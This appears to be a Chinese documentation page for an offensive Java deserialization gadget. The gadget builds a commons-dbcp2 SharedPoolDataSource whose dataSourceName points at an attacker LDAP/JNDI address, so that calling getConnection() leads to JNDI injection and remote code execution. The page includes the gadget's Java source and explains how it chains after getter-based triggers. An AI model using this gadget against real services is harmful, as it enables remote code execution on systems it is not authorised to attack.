Skip to content

Latest commit

 

History

History
71 lines (59 loc) · 5.33 KB

File metadata and controls

71 lines (59 loc) · 5.33 KB

CommonDbcp2DataSource JNDI(CommonDbcp2DataSource)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.apache.commons:common-dbcp2org.apache.commons.dbcp2.datasources.SharedPoolDataSource

作用

构造一个 commons-dbcp2 的 SharedPoolDataSource,把它的 dataSourceName 设为攻击者可控的 JNDI 地址。当上层触发链调用该对象的 getConnection() 时,DBCP 内部会用 dataSourceName 做一次 JNDI 查找(InitialContext.lookup),从而把「一次对 getter/公共方法的调用」转化为 JNDI 注入 → RCE。它是链尾 sink(END),负责把任意 getter 触发能力落地成 JNDI 利用。

链接标签

  • 入口 tags
    • DataSourceChains —— 归属「DataSource 触发」族,承接能实例化并调用 DataSource 方法的上游。
    • SpecialPublicMethod —— 声明本环靠一个「特定公共方法」(getConnection)被触发,而非普通字段 getter;上游据此知道要反射调用哪个方法。
    • Getter —— 同时可被「调用 getter」型上游命中(connection 属性 → getConnection)。
    • END —— 链的终点,不再向下衔接。
  • 衔接 nextTags:无(END)。
  • excludes:无。

源码剖析

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
public class CommonDbcp2DataSource implements Gadget {
    private final String getterMethodName   = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        SharedPoolDataSource dataSource = new SharedPoolDataSource();
        dataSource.setDataSourceName(this.jndiUrl);   // 关键:dataSourceName = 恶意 JNDI 地址
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY,   DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY,  "connection");
        return this.getObject();
    }
}

getObject 只做两件事:new SharedPoolDataSource(),再 setDataSourceName(jndiUrl)SharedPoolDataSource 继承自 InstanceKeyDataSource,其 getConnection() 会走 getPooledConnectionAndInfo() → getConnectionPoolDataSource(),其中通过 new InitialContext().lookup(dataSourceName) 解析 dataSourceName。因此一旦 dataSourceNameldap://.../x 这类外部地址,调用 getConnection() 即触发 JNDI 注入。

invoke 不做包装(本环是叶子,无 chain.doCreate),而是向 GadgetContext 写入三条「触发契约」,告诉上游 gadget 如何激活本对象:

  • SUPER_CLASS_NAME_KEY = DataSource.class:本对象可按 javax.sql.DataSource 类型被持有/声明。
  • SPECIAL_METHOD_NAME_KEY = "getConnection":上游若是「特定公共方法」触发型(SpecialPublicMethod),应反射调用 getConnection()
  • GETTER_PARAM_NAME_KEY = "connection":上游若是「getter 触发」型(如 BeanComparator/CommonsBeanutils 系),把目标属性名设为 connectionPropertyUtils 会解析成 getConnection()

这套契约让同一 sink 既能挂在 getter 链后,也能挂在 special-method 链后。私有字段 getterMethodName/getterPropertyName 仅作代码内自述,实际以 context 中写入的值为准。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl Jndi地址 写入 dataSourceNamegetConnection 时被 JNDI lookup 解析 ldap://127.0.0.1:1389/x 任意 ldap:///rmi:// 恶意地址

适用版本与原理要点

  • 依赖 commons-dbcp2org.apache.commons.dbcp2.datasources.SharedPoolDataSource)。是经典 DBCP JNDI gadget 的 dbcp2 版本。
  • 触发点是 getConnection(),其内部通过 InstanceKeyDataSource.jndiEnvironment / dataSourceNameInitialContext.lookup。因此利用是否成功取决于 JNDI 注入本身(受目标 JDK 的 com.sun.jndi.ldap.object.trustURLCodebase / RMI 高版本限制约束)。
  • 本环只产出对象与写 context,真正的调用发生在上游:需要一个能对反序列化对象调用 getConnection()(或 connection getter)的载体,例如 getter 触发型(CommonsBeanutils 系)或 SpecialPublicMethod 触发型 gadget。
  • CommonDbcpDataSource(dbcp1 版)逻辑一致,仅 DataSource 实现类与依赖包不同。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为 DataSourceChains/Getter/SpecialPublicMethod 触发型链的可选 JNDI sink 手工组合使用。

关联

  • 上游(提供 getConnection/connection getter 触发能力):CommonsBeanutils1Getter 型跳板,或 SpecialPublicMethod 型触发器。
  • 同族(同目录 DBCP DataSource sink,均以 getConnection → JNDI 收尾):